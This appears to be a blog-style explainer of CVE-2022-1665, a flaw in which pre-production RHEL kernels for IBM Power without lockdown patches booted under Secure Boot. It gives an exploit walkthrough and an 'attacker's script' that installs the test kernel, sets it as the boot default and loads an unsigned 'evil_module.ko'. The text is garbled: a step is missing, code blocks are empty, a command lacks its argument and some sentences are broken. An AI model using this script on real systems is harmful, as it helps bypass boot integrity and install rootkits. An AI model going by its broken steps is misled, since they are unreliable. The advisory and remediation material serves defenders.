Red Hat Enterprise Linux (RHEL) is one of the most trusted Linux distributions in the corporate world, running on everything from web servers to mainframes. Security is at its core—especially with features like “Secure Boot”, designed to stop unauthorized code from running when your system starts up. But in 2022, a significant vulnerability, CVE-2022-1665, was disclosed. It revealed that some RHEL pre-production kernels for IBM’s Power architecture could boot under Secure Boot, despite missing crucial lockdown patches. In simple terms, this made it possible to slip untrusted (even malicious) code past what is supposed to be a brick wall.

Let’s break down what happened, why it’s important, and how attackers could abuse it.

What Is Secure Boot (and Why Does It Matter)?

Secure Boot is a firmware-level security measure. It checks that each piece of software loaded at boot comes from a trusted source, using cryptographic signatures. If something’s not signed (or not signed by a trusted authority), it should won’t boot.

The lockdown patches in the Linux kernel are special security features designed to stop rootkits and other low-level attacks by making sure kernel code can’t do shady things—even if it’s got administrator rights. These lockdown features are essential when Secure Boot is in play, because even with Secure Boot, if you can run a tampered kernel, you can pretty much do anything.

What Went Wrong with CVE-2022-1665

Red Hat created some test (“pre-production”) kernel packages for the IBM Power (ppc64le) architecture. These builds were not supposed to be used in production, and, crucially, they did not have the lockdown patches applied.

But here’s the catch: If someone installed these test kernels, they could be selected and booted by GRUB (the bootloader) in Secure Boot mode. Since these kernels bypassed crucial lockdown restrictions, anyone with physical (or sometimes remote) access could boot the vulnerable kernel—defeating Secure Boot’s core protections. Once that happens, an attacker could run any unsigned code they wanted.

This diagram shows the normal boot path vs. the vulnerable path

[Secure Boot Enabled]
         |
      [GRUB]
         |
   [Production Kernel] ---SIGNED & LOCKDOWN ACTIVE---> [Userland]
         |
   [Test Kernel (No Lockdown)] ---SIGNED* (by mistake) ---> [Userland] --VULNERABLE-->

> *The test kernel was signed during development, so Secure Boot did not block it.

Exploit Walkthrough

Goal: Load and run untrusted code by booting a non-lockdown, pre-production kernel, even with Secure Boot enabled.

Attack Steps

1. Obtain Pre-Production Kernel: Attacker gets access to a pre-production RHEL kernel RPM package built for IBM Power (ppc64le) and containing no lockdown patches.

`

3. Select Kernel in Boot Loader: Use GRUB to select the test kernel on the next boot. If unattended, can modify the default selection:

`

4. Boot in Secure Boot Mode: Since the kernel was signed (even as a test build), and no lockdown patches are present, system boots successfully.

5. Bypass Restrictions: With the kernel running, attacker loads unsigned kernel modules or uses debugging features to tamper with low-level system code.

`sh

sudo insmod /path/to/evil_module.ko

`

6. Achieve Persistence or Further Exploit: With kernel-level privileges and no lockdown, the attacker can now compromise the OS fully. For example, install a rootkit, steal secrets, or disable audit logs.

Sample Bash Script: Quick Exploit Use

#!/bin/bash

# Attacker's script to boot pre-production kernel and run unsigned code

KERNEL_RPM="kernel-5.X.Y-ppc64le-test.rpm"
EVIL_MOD="evil_module.ko"

# 1. Install vulnerable kernel (must have local access or exploit path)
sudo rpm -ivh $KERNEL_RPM

# 2. Set vulnerable kernel as default boot choice
sudo grub2-set-default    # Assumes it's the first entry

# 3. Reboot system
sudo reboot

# 4. After reboot, load unsigned kernel module (should not be possible if lockdown is active)
sudo insmod $EVIL_MOD

Admins and developers using test versions of RHEL Power kernels in Secure Boot environments.

- Multi-tenant systems (like data centers or critical infrastructure) relying on Secure Boot for last-line protection against persistent attackers.
- Anyone exposed to supply chain risk (pre-production/test packages accidentally leaking into production).

How Was It Fixed?

Red Hat released a security advisory and made sure that all kernel packages intended for production included Secure Boot/lockdown patches before being signed for release. Impacted users were urged to verify their kernel versions and reinstall only trusted, lockdown-enabled builds.

Key Recommendations

- Audit all installed kernels. Remove/test builds.

Always use GA (general availability) signed packages in production.

- Rebuild/redeploy any systems using affected kernels.
- Follow Red Hat’s security advisories.

References

- Official CVE entry: CVE-2022-1665
- Red Hat Customer Portal: Security Advisory
- Lockdown patches explained: Linux Kernel Lockdown Mode
- Red Hat Bugzilla 2088024 (The original bug report)

Final Thoughts

This vulnerability highlights how even test builds, when not properly controlled, can undermine even the most rigorous security features like Secure Boot. If you’re running an enterprise Linux environment, auditing all kernels and package sources is critical. The devil is in the details—especially when those details come in the form of pre-release code!

Stay secure, and don’t let your test code escape the lab.


*Have more questions about Linux security or Secure Boot? Drop them below!*

Timeline

Published on: 06/21/2022 15:15:00 UTC
Last modified on: 08/18/2022 13:49:00 UTC